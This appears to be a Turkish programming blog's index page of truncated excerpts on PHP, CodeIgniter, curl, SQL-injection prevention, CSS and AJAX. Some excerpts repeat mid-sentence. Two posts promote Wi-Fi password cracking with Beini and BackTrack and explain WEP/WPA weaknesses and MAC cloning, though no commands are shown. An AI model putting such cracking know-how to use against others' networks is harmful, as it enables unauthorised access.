PHP ile dosyadan varolan bir imaj alınabilir veya yeni bir imaj yaratılabilir. PHP her iki durumda da hafızada bir imaj nesnesi üreterek bunu bir handle ile bize bildirir:
int imagecreate(int x_size, int y_size): Verilen ölçülerde yeni bir imaj nesnesi yaratarak bu imaja ait hanlde"ı döndürür. int imagecreatefrompng(string filename), int ImageCreateFromJpeg(string filename): PNG veya Jpeg formatındaki dosyayı okuyarak yeni yarattığı bir imaj nesnesi içine alır ve yaratılan imajın handle"ını döndürür.

PHP/CGI Güvenlik açıkları ve kötüye kullanımı

PHPi genelde dinamik içeriği olan http sunucularında kullanılan bir script dili. PHP`nin C ve Perl`e pek çok benzerliği var ancak biraz daha basitleştirilmiş. Web sitesi geliştirmekle alakası olmayan şeyler kaldırıldığı için bu PHP`yi çalışılması gereken güzel bir dil yapıyor.
Bu yazıda bir PHP mesajlaşma listesi yaparken rastladığım bazı güvenlik konularına değineceğim. Konuştuğum çoğu insan güvenliğin bir konu olduğunu bile düşünmemişlerdi ve script`lerini nasıl yapılandırdıklarının sitelerinin güvenliğini nasıl değiştireceğini düşünmemişlerdi bile.
Ana problem değişkenlerin web browser`dan PHP`ye nasıl geçirildiği. Değişkenler ve değerleri URL`ye ekleniyor ve aşağıdaki gibi oluyor:
http://host/dir/script.php?değişken1=değer

CodeIgniter dosya yapısı

Hatırlarsanız bir önceki yazımda, MVC yapısı, CodeIgniter framework"ü ve kurulumu hakkında bilgiler vermiştim. Bu bölümde ise CodeIgniter dosya yapısı hakkında bilgiler vermek istiyorum.

Daha öncede söylediğim üzere, CodeIgniter ile gelen arşiv dosyasını bilgisayarımıza açtığımızda, system ve user_guide klasörleri ile index.php ve license.txt dosyalarının geldiğini görmüştük. Şimdi bu klasör ve dosyaların ne olduğunu biraz açmak istiyorum.

System klasörü içinde farklı görevleri olan bir çok klasör bulunmaktadır. Bu klasörlerin içinde ki dosyalar da CI"nin iskeletini oluşturmaktadır. CI"nin sahip olduğu klasörleri şu şekilde sıralayabiliriz. application configcontrollerserrorshookslibrariesmodelsviews cachecodeigniterdatabase drivers mssqlmysqlmysqlioci8odbcpostgresqlite fontshelperslanguage english librarieslogspluginsscaffolding imagesviews Application klasörü
Application klasörü bizim için büyük önem arz etmektedir. Çünkü yaptığımız geliştirmeleri burada saklamaktayız. Genel olarak işleyiş bu klasör içinde gerçekleşmektedir. Model-View-Controller dosyalarımız bu klasör içinde yer alan yardımcı klasörler içinde saklanacaktır. Ayrıca geliştirdiğimiz kütüphaneleri de yine burada bulunan libraries klasörü içine atarak projemize yine burada dahil edebileceğiz.

Cache klasörü

Adından da anlaşıldığı gibi, sistem üzerinde önbelleğe alınan veriler burada tekrardan kullanılmak üzere saklanmaktadır. Codeigniter klasörü CI"nin php 4+ ve php 5+ sürümlerinde çalışması için gerekli olan dosyalar burada bulunmaktadır.

Çekinmeyin Buradan Yardım İsteyin!

Arkadaşlar elimden geldiği kadar size buradan php hakkında yardım etmeye çalışacağım. Sorularınızı yorum yoluyla buradan bildirin ve bende yorumla size geri döniyim !

10 Haziran 2010 Perşembe

Döngülerde Her Döngü Döndüğünde Sonucu Vermek!

Arkadaşlar çok uzun sorgularımız varsa ve bu sorguların bitmesi yerine gerçekleştiği anda sonucu vermesi için size bu yazıyı hazırlıyorum.
Aslında bakarsanız bu çok kolay. PHP zaten bizim için hazırlamış bu fonksiyonu ve sadece bir örnekle bunu anlıyacağınıza eminim!

Google Chart API ile grafik çizdirmek

Yakın zamanda (gerçi 3-5 ay oldu) google chart api'sini sunarak GET mothodu ile gönderdiğiniz çağrılar sonucu oldukça hızlı biçimde yumuşatılmış (antialiased) grafikler çizdirebiliyor. API'nin kullanımı aslında oldukça basit. Verileriniz ve grafik detaylarınız (etiketler, renkler vs) ile bir URL oluşturuyor ve çağırıyorsunuz. Google size PNG formatında istediğiniz boyutta ve renklerde grafik veriyor. Dökümantasyonu güzel hazırlanmış ve neredeyse tüm popüler grafik türlerini çizdirebiliyor. http://code.google.com/apis/chart/ adresinden gerekli bilgiyi alabilirsiniz.

Doğrudan kullanıma yönelik parametreleri ele alacağım ve en çok kullanılan 3-4 grafik türünü nasıl çizdirebileceğimizden bahsedeceğim. Geri kalan daha detaylı bilgiyi kendi sitesinden alabileceksiniz zaten.

9 Haziran 2010 Çarşamba

PEAR ve MDB2 ile “Prepare & Execute” sayesinde SQL injection saldırılarına karşı koymak

PEAR'da MDB2 ile veritabanı işlemleri hakkında daha önce döküman yazmıştım (aynı anda yayınladım gerçi). MDB2 ile veritabanı işlemleri ile ilgili bilgi edinmek için http://www.mfyz.com/?/dokuman/99/pear-da-mdb2-ile-.....islemleri/ dökümanını okuyun. Bu dökümanda veri işleme ile ilgili kısımlardan bahsetmeyeceğim.



SQL injection, başımızın belası :-)


SQL injextion saldırılarını çok duyuyoruz. Çok da yeni bir şey değil aslında. Fakat çok büyük sitelerde, devlet siteleri, ticari siteler vs. Dikkatsiz programcılar veya dikkatsiz programlama sonucu bu saldırılara kurban gidiyor. Her gün bir yerlerin "hack"lendiğini görüyoruz. Muazzam işler yapmaya gerek yok bu saldırıları yapmak için.

Aynı şekilde bu açıkları vermemek için de muazzam önlemler almanıza gerek yok aslında. Bütün olay kullanıcın girdiği metinleri işlerken ve ekrana basarken kontrollü basmakta yatıyor bu injection, xss saldırılarının altyapıları. Sitenizde sql'inize veya htmlinize enjekte etmek istedikleri şeyleri aslında sizin tırnaklarla sınırladığınız alandan kaçarak başarıyorlar. Tabiki herşey tırnakta çözülmüyor fakat dananın kuyruğunu kopardıkları yer sizin sınırlandırdığınız noktadan kaçabilmekte :-) Yani Hex kodları ile tırnak veya özel karakterler girilmeye çalışıyor, tırnaklar kullanılıyor veya ascii, htmlentity, htmlencode ile özel karakter girmeye çalışılıyor. XSS konusunda burada bahsetmeyeceğim.

SQL injection için eğer pear ve mdb2 kullanmıyorsanız, kullanıcıdan gelen string türü verileriniz için mysql'de mysql_real_escape fonksiyonunu kullanabilirsiniz. Metinlerinizi bu fonksiyondan geçirip sqlinize sokun. Eğer MDB2 kullanıyorsanız Preapre ve Execute fonksiyon grubu ile uygulatmak istediğiniz sql cümlenizdeki değişkenleri işletmeden önce veri türüne göre güvenli hale getirebilirsiniz.

Aslında tek görevi güvenlik değil bu fonksiyonların. Asıl amaç veritabanına doğru türde veri göndermek. Aynı zamanda tek sql'i tekrar tekrar yazmadan birden fazla çalıştırmanızı da sağlıyor. Güzelliklerine az sonra değineceğim :-)

MDB2'de bir sorguyu işletmek için

PHP ile grafikli sayaç uygulaması

Bu makalede sizlerle bir sayaç uygulamasını nasıl yazabileceğimizi göreceğiz.Hepinizin bildiği (yada tahmin ettiği) gibi bir sayaç yazmak çok da zahmet gerektiren bir iş değildir.
Burada sayaç tekniği olarak istediğiniz methodu alabilirsiniz. İster mysql'den alacağınız sayaç değeriniz ile oynar ve ekrana yazdırır, ister basit txt dosyaları ile oluşturduğunuz sayaç sisteminizi yazdırabilir ister kullanıcı bazında cookie tabanlı yapıyı. Burada scripti zorlamamak için cookie tabanlı kullanıcı bazında çalışan bir sistemde sayaç yazdıracağız.

Yapmamız gereken şey genel anlamda şöyle olacaktır :

- Sayfamız ziyaretçiyi karşılar ve ona daha önce sayfamızı ziyaret ettiğine dair bir bilgi yani cookie gönderilip-gönderilmediğini kontrol eder.
- Eğer ziyaretçimiz daha önce de aynı sayfaya girmişse, zaten onda mevcut bulunan (daha önce kaç kez girdiğini gösteren) cookie değeri alınır ve bu değer 1 arttırarak tekrar ziyaretçimize yollanır.
- İlk defa giriyorsa değişkenin degeri NULL yani 0 atanacak, 1 artırılıp cookie olarak atılacaktır.
Böylece her girişinde değer bir artacağı için, onun sayfamızı kaç kez ziyaret ettiğini görmemiz mümkün oBu makalede sizlerle bir sayaç uygulamasını nasıl yazabileceğimizi göreceğiz.Hepinizin bildiği (yada tahmin ettiği) gibi bir sayaç yazmak çok da zahmet gerektiren bir iş değildir.
Burada sayaç tekniği olarak istediğiniz methodu alabilirsiniz. İster mysql'den alacağınız sayaç değeriniz ile oynar ve ekrana yazdırır, ister basit txt dosyaları ile oluşturduğunuz sayaç sisteminizi yazdırabilir ister kullanıcı bazında cookie tabanlı yapıyı. Burada scripti zorlamamak için cookie tabanlı kullanıcı bazında çalışan bir sistemde sayaç yazdıracağız.

Pear'da MDB2 ile veritabanı işlemleri

MDB2 nedir?


MDB2 pear'da eskiden DB adıyla geliştirilen ve bir süre önce gelişimi durdurulup projeyi mdb2 olarak devam ettirdikleri bir veritabanı yönetim kütüphanesidir. Aslında sırayla girdiğimiz mysql_connect, mysql_select_db, mysql_query ... gibi işlemleri biraz daha ortak yapıda kullanmamızı sağlayan, çeşitli yetenekleri olan güvenli bir kütüphane.

Normalde veritabanımıza (mysql, mssql veya pgsql farketmez) bağlanırken bağlantı kaynak değşkeni oluştururuz. Örneğin :

Hızlı Ve Kolay Adsense Hesabı nasıl alınır ?

Merhaba arkadaşlar.. Piyasada adsense alabilmek için yüzbinlerce yazı mevcut.. Fakat ben size bugün tamamen kendi deneyimlerim ve bilgilerimle adsense hesabı nasıl alınır, nasıl onaylanır ve nasıl daha çok kazanılır bunları anlatacağım..
http://www.megahowto.com/wp-content/uploads/2009/11/Adsense-Logo.jpg
İlk olarak yeni bir adsense hesabı almak için , ve adsense hesabımızda kullanabilmek için bir gmail hesabı oluşturuyoruz.
Gmail hesabı oluşturmak için şu linke tıklayın. Yukarıda ad, soyad, kullanıcı adını doldurduktan sonra alt taraftaki kurtarma e-postası bölümüne daha önce hiçbir yerde kullanmadığınız ve mümkünse gmail ve hotmail dışında bir e-mail seçiniz.. Eğer web siteniz varsa kendi hostinginizden alacğaınız  ornek@seninsiten.com gibisinden bir mail alınız.
Bu işlemi tamanladıktan sonra gmail hesabınızı oluşturun ve sayfayı kapatın.Sırada adsense hesabımızı oluşturmak var.

CSS'de Pozisyonlar - CSS Position

CSS pozisyon elemanları adından da anlaşılacağı üzere, elemanların sayfa içerisindeki pozisyonlarını belirlemeye yarar. Elemanın etrafında ne kadar boşluk olacağı, neyin arkasında ya da neyin kenarında olacağına CSS position özelliği ile sağlayabiliriz.
Elementleri pozisyonlamada top, bottom, left, ve right özelliklerini kullanırız. Ancak bu değişkenler CSS pozisyon özelliklerini başta belirtmeden kullanılamaz.Ayrıca bu özellikler farklı konumlandırma ayarları ile çalışmaktadırlar.. Birazdan vereceğim örneklerle ne demek istediğimi acıkca anlayacağınızı umuyorum.

Statik Konumlandırma

HTML elemanlar ana ayarlarında (default) statik bir konumlandırmaya ayarlanmıştır.Static  konumlandırmada elemanlar sayfanın normal kod akışına göre dizilmektedirler.. Yani ilk önce bir resim kullandıysak ve sonrasında ise bir yazı kullanırsak bunlar kullandığımız sıraya göre HTML de yer alırlar.. İşte pozisyon özelliği ile bunu ortadan kaldırabiliriz.

Fixed Pozisyon

Çoğu web sitesinde karşılaştığımız bir özellik olan sabitleme genellikle reklam alanlarında yada kullanıcların sürekli görmesini istediğimiz bölümlerde kullanılan bir özellik haline gelmiştir.. Sabit konumlamadan kastımız içerisinde kullanacağımız bölümü sayfada aynı bölgede kalmasını sağlamaktan başka birşey değildir. Bu özelliğin adı aslında fixed olarak adlandırılmıştır.. Bir örnek yapalım;

Professional PHP Programing (E-book 900 Sayfa)

Arkadaşlar mükemmel bir kaynak. İçinde forum bile yazmışlar.
Kitap ismi = Professional PHP Programing
Sayfa = 900 Sayfa
Dil = İngilizce

PHP - Curl Nedir ?

CURL (Client URL)

1.Curl Nedir ?

Curl php'nin değişik türlerdeki severlarla bir çok protokol ile alış-veriş yapması sağlayan bir kütüphanedir.
Curl ile http, ftp, telnet.. gibi protokollerde çalışabilrisiniz. Ancak benim şimdilik bildiğim sadece http kısmı. Http ile post/get işlemleri yapabilir bu işlemlerde cookie kullanabilirsiniz.

Php'ye Curl kütüphanesini eklemek için php.ini dosyanızdan curl'e ait extension satırının başındaki noktalı virgülü silmeniz yeterli olacaktır. (Aşağıda yazacağım kodları PHP4 ile denedim PHP5 'te çalışma garantisi yok )

CURL işlemleri birer oturum olarak çalıştırılır. Bu da demek oluyor ki eğer curl ile bir işlem yapacaksak önce bir curl oturumu başlatmanız lazım. Daha sonra bu işleme ait ayarları yapıp işlemi çalıştırmak sonunda da oturumu kapatmalıyız.

2. CURL Fonksiyonları

2.1. curl_init()

Bu fonksiyon curl oturumu başlatmaya yarar. Argüman olarak oturumun açılacağı url'yi verebilirsinizde tabii isterseniz argümansız olarak çağırıp url'yi sonradan ayarlayabilirsiniz. Oturum açtığınız zaman bu oturumu bir değişkene atayarak oturum işlemlerini bu değişken üstünden yapmalısınız.

$curl_oturumu =curl_init();
veya
$curl_oturumu =curl_init("www.spymastersnake.org/";

Artık oturum açılmış ve $curl_oturumu adlı değikende tutulmuştur.

2.2. curl_setopt()

Curl_setopt fonksiyonu açtığınız oturumun özelliklerini belirlemek yani değişkenlerini değiştirmek içindir. Bu değişkenlerin bazıları açıklamalarıyla aşağıdadır:

İşte Kendi Hazırladığım "Php Ders 1 "

Arkadaşlar dersimizi çektik toplam 18 dakika ve dersimizde 'echo' komutu yani php'de öğrenilmesi gerek ilk şeyleri gayet güzel anlattım. Dersi izleyerek rahatça bunları öğrenebilir ve gerçekleştirebilirsiniz!


İşte Php için Süper Bir E-book !

Arkadaşlar web'de dolaşırken mükemmel bir kaynak buldum
Tam 343 Sayfa .
CMS Framework öğrenmek iiçn hazırlanmış bir kitap.
Orta ve İleri seviye bir kitap denilebilir.


Assembly Öğrenmek İsteyenler İçin Süper Kaynak

Arkadaşlar çok güzel bir döküman buldum ve biraz göz attım. İngilizceniz varsa gerçekten mükemmel bir kaynak. Birazcık'ta assembly'yi merak ediyorsanız 195 sayfalık bu kaynak gerçekten çok işinize yarayacak bir E-book ve bedava.

8 Haziran 2010 Salı

Beini-1.2.1 Alfa 2w Driver Wireless Şifre Kırma 8 Adım'da

Beini-1.2.1 Download


Beini 1.2.1 RT3070 Driver Final Download Alfa 2w Olanlar İçin



Usb Kurulum İçin Gerekli Olan Unetbootin Download

http://unetbootin.sourceforge.net/

Klasik ama: Neden PHP?

2000 senesinde perl ile cgi, web programcılığı ile tanışmamı sağladı. PHP zamanla isteklerin artması ve yazım şeklinin aşina olduğum ortama daha yakın olması dolayısı ile beni çekim alanına aldı ve geçen 5 sene içinde de beni bu alandan uzaklaşmamam için yeterince tatmin etti. Yakın zamanda hem IDE'sinin sağladıkları, hem de platformun kolaylıkları ve cazibesi yüzünden Asp.NET'e göz kırpmış olsam da bu hafta sonu yaşadığım tecrübe PHP'ye olan sevgimi tazeledi.
Tabii ki hafta sonu olanları anlatacağım ancak önce, web uygulamaları geliştirirken neden PHP kullandığıma daha derinlemesine değinmek istiyorum:
Kişisel nedenler:
Birinci sırada syntax yer alıyor. Dediğim gibi aşina olduğumuz ortamlar biz programcıları daha fazla çeker. Bu açıdan yazım şeklinin ve temel dil özelliklerinin C'ye benzemesi benim için PHPyi daha cazip kılıyordu.
Hızlı uygulama geliştirme imkanı ve kurulum:Öncelikle uygulama geliştirme ortamı olarak Zend Studio, programcıya planlama hariç bütün aşamalarda kolaylık sağlıyor. Uygulama geliştiriken veritabanı yönetimi sayesinde tek bir ide ile geliştirdiğiniz uygulamaya tam hakimiyeti Zend Studio sayesinde edinebiliyorsunuz. Yazılan kodun debug edilmesi ve çalıştığınız sayfa üzerinde ayrı ayrı yazılan her fonksiyonun performans analizini direkt olarak tarayıcı üzerinden yapabilme imkanı çok leziz. Kurulum sırasında ise Zend Encoder'ın sağladıkları her uygulama geliştiriciye lazım. Zira yazdığınız kodun şifrelenerek güvenliğinin sağlaması size ait olmayan platformlarda uygulamanızı çalınma tehlikesi olmadan gönül rahatlığı ile koşturabilmenizi sağlıyor. Kurulumdan sonra ise yine Zend ürünleri size inanılmaz avantajlar sağlıyor. Bunlara daha sonra uzun uzun değineceğim.
Kolay öğrenilmesi:Php herhangi bir web dili ile, belirli bir süre tecrübesi olan her programcı için maksimum bir hafta içinde öğrenilebilecek bir dil. Biliyorum kulağa iddalı geliyor ama doğru. Bir dilin kolay öğrenilebilir olması büyük bir avantaj. Biz Techinox olarak daha tecrübelilerin alttan gelenleri eğitimi sayesinde hem sektöre kalifiye elemanlar yetiştirmenin hazzını yaşıyoruz hem de bünyemizdeki çalışanların kendilerine, takım arkadaşlarına ve bize maksimım yararlı olmasını sağlıyoruz. Bu anlamda Php temel uygulama geliştirme ortamımız olduğu için daha kısa sürede maksimum işgücünü devreye alabiliyoruz.
Performans:Daha az kaynak ile yüksek performans sağlaması PHP'nin büyük projelerde kullanılabilmesi için sayılabilecek nedenlerden sadece biri. Tabii ki bu anlamda hemen diğer iki silahşör olan MySQL ve Apache'nin önemini de unutmamak gerekiyor.
Fiyat:
Bu üç silahşör de (PHP, MySQL ve Apache)açık kaynak kodlu olduğu için sizden ayrıca lisanslandırma ücretleri talep etmiyorlar bu anlamda uygulama geliştirdiğiniz kişilere daha avantajlı teklifler ile gidebilmenizi sağlıyor. Özellikle Türkiye gibi bir ortamda bence bu çok ciddi bir avantaj.
Opsiyonellik:Tabii ki gerektiği zaman profesyonel çözümlerle müşterinin marka isteklerini tatmin etmek mümkün. PHP size birçok profesyonel veritabanı (Oracle, DB2 vs.) ile beraber çalışma sağlayabildiği gibi Zend'in birazdan değineceğim profesyonel çözümleri ile de müşterinizin Açık kaynak kodlu ortama olan direnişini kırmanızı sağlıyor. Burada yine uygulama geliştirdiğiniz ortamında Türkiye olması ön plana çıkıyor. Şu ana kadar genel olarak iki tip müşteri ile aktif olarak çalışıyoruz. Birincisi fiyatın minimize olmasını isteyenler, ki bunlara sadece uygulama ve barındırma maliyetleri ile hizmet vermek üç silahşörümüzle gayet mümkün. İkincisi ise marka ile güvenin sağlanacağını düşünen ve bunda da kısmen haklı olan kurumsal müşteriler. Onlara da Zendin profesyonel çözümleri ve farklı veritabanı seçenekleri ile ulaşmak mümkün.
Şimdi gelelim bu hafta sonu olanlara. Müşterilerimizden www.pazaryerim.com sunucularını Zend Platformlandırdık. Zend Platform sağladıkları ile beni bir kere daha PHPnin çekim alanında kalmaya ikna etti. Gelelim Zend Platformun

PingSitemap: Yeni sayfalarınız için arama motorlarını haberdar edin

Sitemap'ın öneminden ve nasıl üreteceğinizden daha önce bahsetmiştim (

Dinamik sitemap.xml oluşturmak

).


Sitemap.xml dosyanızı oluşturdunuz peki sonra?


Tabiki arama motorları servislerinin botları sitenize geldiğinde ilk olarak sitemap.xml'inizi bulmaya çalışacak, bulduğu zaman da site indeksini hızlıca çıkaracaktır. Fakat botlar sık sık sayfalarınızı gezse de sitemap.xml'inizi her zaman anlık olarak kontrol etmezler.

Arama motorlarının ping servisleri vardır ve bu servisleri kullanarak sitemap.xml'inizin güncellendiğini, hemen kuyruğa alınmasını istediğinizi belirtebilirsiniz. Bu uygulamayı birçok büyük web servisi, wordpress, blogger gibi blog hizmeti veren servisler, hatta kendi sunucunuza kuracağınız wordpress de bunu yapmaktadır.

Yeni bir içerik girildiği zaman sitenize yeni sayfalar eklenmiş, bazı varolan sayfaların da güncellenmiş olması anlamına gelmektedir. Arama motorlarının bu değişiklikleri hemen tarafamasını isterseniz aSitemap'ın öneminden ve nasıl üreteceğinizden daha önce bahsetmiştim (Dinamik sitemap.xml oluşturmak).

Sitemap.xml dosyanızı oluşturdunuz peki sonra?


Tabiki arama motorları servislerinin botları sitenize geldiğinde ilk olarak sitemap.xml'inizi bulmaya çalışacak, bulduğu zaman da site indeksini hızlıca çıkaracaktır. Fakat botlar sık sık sayfalarınızı gezse de sitemap.xml'inizi her zaman anlık olarak kontrol etmezler.

Arama motorlarının ping servisleri vardır ve bu servisleri kullanarak sitemap.xml'inizin güncellendiğini, hemen kuyruğa alınmasını istediğinizi belirtebilirsiniz. Bu uygulamayı birçok büyük web servisi, wordpress, blogger gibi blog hizmeti veren servisler, hatta kendi sunucunuza kuracağınız wordpress de bunu yapmaktadır.

Yeni bir içerik girildiği zaman sitenize yeni sayfalar eklenmiş, bazı varolan sayfaların da güncellenmiş olması anlamına gelmektedir. Arama motorlarının bu değişiklikleri hemen tarafamasını isterseniz az sonra anlatacağım ufak teknikle bunu yapabilirsiniz.

Simple Pie Nedir?

Php ile yazılmış bir xml parser sınıfıdır. Spesifik olarak da RSS tipi xml dosyalarını okumak için tasarlanmış, cache gibi güzellikleri bulunan bir sınıftır. Bu sınıfı kullanarak bir rss dosyasını nasıl parse edeceğimizi basitçe göstereceğim.

Ya hep ya hiç : www kullanın veya kullanmayın

Günümüzde ajax, flash derken client side crossdomain istekler geziyor. Bunun gibi teknolojileri kullanan uygulamalarda sık karşılaştığımız bir sorun var. Mesela flash içinde, javascript dosyalarında veya php yönlendirmelerinde bir sürü yerde yönlendirme kullanıyoruz ve aslında farkında olmadığımız bir kullanımdan dolayı oturum, istek cevaplarının gelmemesi gibi hatalar alıyoruz. Farkında olmadığımız şey şu :

Dinamik sitemap.xml oluşturmak

Sitemap nedir önemi nedir" diyenler şuradan (Vikipedi: Site haritası) devam etsinler.

Şimdi gelelim öneminden çok üretilmesine. Basit bir xml aslında. Fakat eğer sürekli güncellenen yapıda bir siteniz var ise bu xml'i periyodik olarak yenilemeniz gerekir. Tabi ki yüzlerce sayfası olan bir sitede (örneğin blog) bu linklerin envanterini bir xml'de tutmak oldukça zor olacaktır.

Çoğu web uygulamasında sayfaların içerikleri veritabanında tutulan bilgilerin listelenmesi ve detay sayfalarından oluşmaktadır. Yazılar, Arşiv sayfaları, Fotograf sayfaları, Forumlar, forum konularının bulunduğu sayfalar vs. Bu sayfaları listeleyen/gösteren php dosyaları olduğunu düşünürsek sitemap.xml'i oluşturacak kodun bu içerikleri sadece adresleyerek listelemesini yapacak bir kod olduğunu söyleyebiliriz.

Bu içerikleri listeleyerek sadece o içeriklere ait sayfaların URL'lerini oluşturan bir php dosyası düşünün. Basitçe örnekleyeceğim.
Mesela forum adında bir tablonuz var ve bu forum'un site haritası için sadece URL'leri gerekli ve bunu oluşturan ufak bir kod vermek gerekirse :

PHP'de fonksiyonlar

onksiyonlar, matematikteki gibi bazı işlem gruplarını sık sık kullandığımız alanlarda bize oldukça kolaylık sağlar. PHP'de de aynı şekilde, belli işleri yapan ve sonuçta bazı durumlara göre uygulamanın ilerleyişini değiştiren çoğu işlemde kolaylık sağlar. Bu fonksiyonları komplike uygulamaların sık tekrarlanan parçaları olarak görebiliriz.
Fonksiyon yapılarını, aslında PHP içinde farkında olmadan, sık sık kullanıyoruz. (Biz her ne kadar farkında olmasak da onlar hep fonksiyondu ve fonksiyon olarak kalacaklar :-)

Wireless Şifre Kırma --- Resimli Anlatım

Kablosuz Ağlardaki Güvenlik Çeşitleri
Ev ve küçük ofislerde kablosuz internet ağlarını korumak için kullanılan en bilindik iki farklı şifreleme yöntemi vardır. WEP tekniği ve WPA tekniği…
WEP tekniğinde şifre 1`den 9`a kadar rakamlar ve A`dan F`ye kadar harflerden oluşur. Yani hexadecimal olarak yazılır. Kablosuz ağların kullanılmaya başladığı ilk döneminde ortaya çıkan bu teknik en zayıf şifreleme tekniğidir. Açıkları bilindiği için yerine WPA sistemi geliştirilmiştir. WPA sistemindeki şifrede her türlü karakter kullanılabilir ve kırılması daha zordur. Evet kırılması daha zordur ama yeteri kadar güçlü bir şifre kullanırsanız… şifreleme tekniklerinin dışında MAC adresine göre filtreleme yapmak da bir korunma yöntemi olarak sıkça kullanılır. Bu yöntemde router, Access point, PC gibi her ağ cihazının sahip olduğu ve dünyada bir eşi daha olmayan MAC adresinden faydalanılır. MAC adresi bir çeşit seri numarasıdır. Modemin ayarlarından, kablosuz ağa girişine izin verilen MAC adreslerini belirleyebilirsiniz. Bu sayede tanımadığınız bilgisayarların ağa girişini engellemiş olursunuz. Ama bu da çok basit şekilde aşılabilen bir yöntemdir, çünkü MAC adresi klonlanabilir. Bunun dışında RADIUS, RSN gibi kırılması çok daha zor olan güvenlik yöntemleri de kullanılır ancak bu yöntemlerin kullanımı sınırlıdır. Çünkü bu yöntemler ev ve küçük ofis kullanıcıları için uygulanamayacak kadar komplike çözümlerdir.
Yazının ilerleyen bölümlerinde bu güvenlik metotlarının nasıl kırıldığını okuyacaksınız. Ancak önce çok önemli bir uyarı yapmamız gerekiyor.
Bu yazıda anlatılan yöntemleri deneme ve geliştirme amaçlı olarak kendi ağınızda kullanabilir ve buna göre açıklarınızı tespit edip güvenlik önlemlerinizi artırabilirsiniz.
Diğer kablosuz ağlara izinsiz giriş yaptığınız takdirde yasalar karşısında suç işlemiş duruma düşersiniz. Bu yazıda anlatılan yöntemleri uyguladığınızda mutlaka giriş yapılan modem/router bu girişi tespit edecek ve kayıt altına alacaktır. Bu kayıtlar gerektiğinde delil olarak kullanılabilir. Bu yazının amacı, yeterli derecede güvenlik önlemi olmayan kablosuz ağların ne kadar kolay kırılabildiğini ispatlamaktır. Ayrıca bu yöntemleri denerken sisteminizde herhangi bir problem meydana gelirse, sorumluluk size aittir.
Ayrıca şunu da belirtelim ki, birçok nedenden dolayı burada anlattığımız yöntemleri birebir uygulayamama ihtimaliniz de var. Böyle bir durumla karşılaştığınızda konu çok derin olduğundan derin bir araştırmaya girmeniz gerekebilir. Biz yazımızda bu kompleks konuyu mümkün olduğunca basite indirgeyerek anlatmaya çalışacağız. Mantığını kavradıktan sonra geliştirmek size kalmış.
Bu uyarıları yaptıktan sonra yavaş yavaş kolları sıvama zamanı geldi demektir. Öncelikle alet çantamızda neler var, bir bakalım: Kablosuz ağları kırmak için pek çok farklı araç kullanılabilir. Ama biz BackTrack isimli Linux canlı CD`sinden faydalanacağız. BackTrack`i kullanıyoruz çünkü bu CD`de kullanacağımız bütün araçlar, bir arada bulunuyor. Eğer isterseniz bu yazıda adı geçen araçların Windows sürümlerini de bulabilirsiniz. Ama baştan söyleyelim; Windows araçları Linux`taki kadar güvenilir çalışmıyor.
İhtiyacınız Olan Tek Yazılım: BackTrack
BackTrack adlı Slackware tabanlı Linux sürümünün içinde kablosuz ağların şifreleri ile ilgili bütün araçlar bir arada bulunuyor. Ayrıca bir canlı CD olduğu için bu işlemleri yaparken bilgisayarınıza herhangi bir şey kurmak zorunda kalmıyorsunuz. Kısacası; kablosuz ağları kırmak için ihtiyacınız olan tek şey: BackTrack. Dergimizin bu ayki DVD`sinde ISO biçiminde bulabileceğiniz BackTrack`i öncelikle bir CD`ye yazdırmanız gerekecek. ISO kalıbını CD`ye yazdırmak konusunda bilgisi olmayanlar `ISO`yu CD`ye Yazmak` başlıklı kutudan faydalanabilirler.
Eğer BackTrack`i CD`ye yazdırdıysanız bir sonraki adıma geçebiliriz.

Linux Ubuntu Compiz Kullanımı 3D Masaüstü ve Pencere Görünümü (Video)

Ubuntunuza nasıl 3D yapabiliceğinizi bu videoda anlattım.
Bunu compiz olarak halledebileceksiniz..
Dailymotion
Rapidshare

Php Nedir ?

PHP (Personal Home Page)
Tarihçe
PHP, ilk olarak 1990’lı yılların ortalarında Rasmus Lerdorf tarafından geliştirilmeye başlanmıştır. Lerdorf’un amacı kişisel bilgilerini internet üzerinden yayınlamaktı. O tarihteki teknolojide, günümüzdeki gibi gelişmiş web tasarım yazılımlarının bulunmamasından dolayı , kişisel web sayfası yapmak çok daha zordu. Buradan yola çıkarak, kişisel web sayfası yapmak için bir yazılım hazırladı ve adına Personal Home Page (PHP) adını verdi. PHP, Perl dili üzerine kurulu bir dil olarak geliştirilmeye başlanmıştır. PHP’ nin çok tutulması üzerine web tasarımcılarının çok ihtiyacı olan, yani form yoluyla ziyaretçiden gelen bilgileri işlemeyi sağlayan eklemeler yapılarak adına PHP/FI (Form Interpreter) adını aldı. Kimileri tarafından programın bu versiyonu PHP2 olarak adlandırıldı. 1995 yılının ortalarında PHP Lerdorf’un kurmuş olduğu bir grup tarafından daha da geliştirildi. Bu sefer Perl dilindeki fonksiyonlardan tamamen arındırılmış ve Object Oriented (Nesneye Dayalı) bir dil haline getirildi.
Günümüzde PHP4 versiyonu geliştirilmiş durumdadır. PHP dili Linux gibi Açık Kaynak Kodlu bir dildir ve ücretsiz olarak dağıtılmaktadır ve geliştirilmektedir. Linux, Unix, Windows tabanlı işletim sistemlerinde çalışabilen versiyonları mevcuttur.

10 PHP code snippets for working with strings

Strings are a very important kind of data, and you have to deal with them daily with web development tasks. In this article, I have compiled 10 extremely useful functions and code snippets to make your php developer life easier.

Automatically remove html tags from a string

On user-submitted forms, you may want to remove all unnecessary html tags. Doing so is easy using the strip_tags() function:

AJAX – Sunucuya istek göndermek

AJAX – Sunucuya istek göndermekSunucuya bir istek göndermek için open() ve send() işlevlerini kullanırız.
open() işlevi üç parametre alır. İlk parametre istekte bulunurken hangi yöntemin kullanılacağını belirtir (GET yada POST). İkinci parametre sunucudaki betiğin url adresini belirtir. Üçüncü parametre ise isteğin asenkron (eşzamansız) olarak ele alınacağını belirtir. send() işlevi isteği sunucuya gönderir. Eğer HTML ve (eğer sunucuda PHP dilini kullanıyorsak) PHP dosyalarının aynı dizinde olduğunu varsayarsak kod şöyle olacaktır:

AJAX XMLHttpRequest

AJAX – XMLHttpRequest nesnesi hakkında
Sunucuya veri göndermeden önce, XMLHttpRequest nesnesinin üç önemli özelliğini açıklamamız gerekiyor.
onreadystatechange özelliğiSunucuya bir istek gönderilmesinden sonra, sunucudan dönen veriyi alabilecek bir işleve ihtiyacımız var.
onreadystatechange özelliği sunucunun yanıtını işleyecek olan fonksiyonu tutar. Aşağıdaki kod boş bir fonksiyon tanımlar ve aynı zamanda onreadystatechange özelliğini ayarlar:

AJAX – Tarayıcı Desteği

AJAX – Tarayıcı Desteği
AJAX ‘ın temeli XMLHttpRequest nesnesidir.
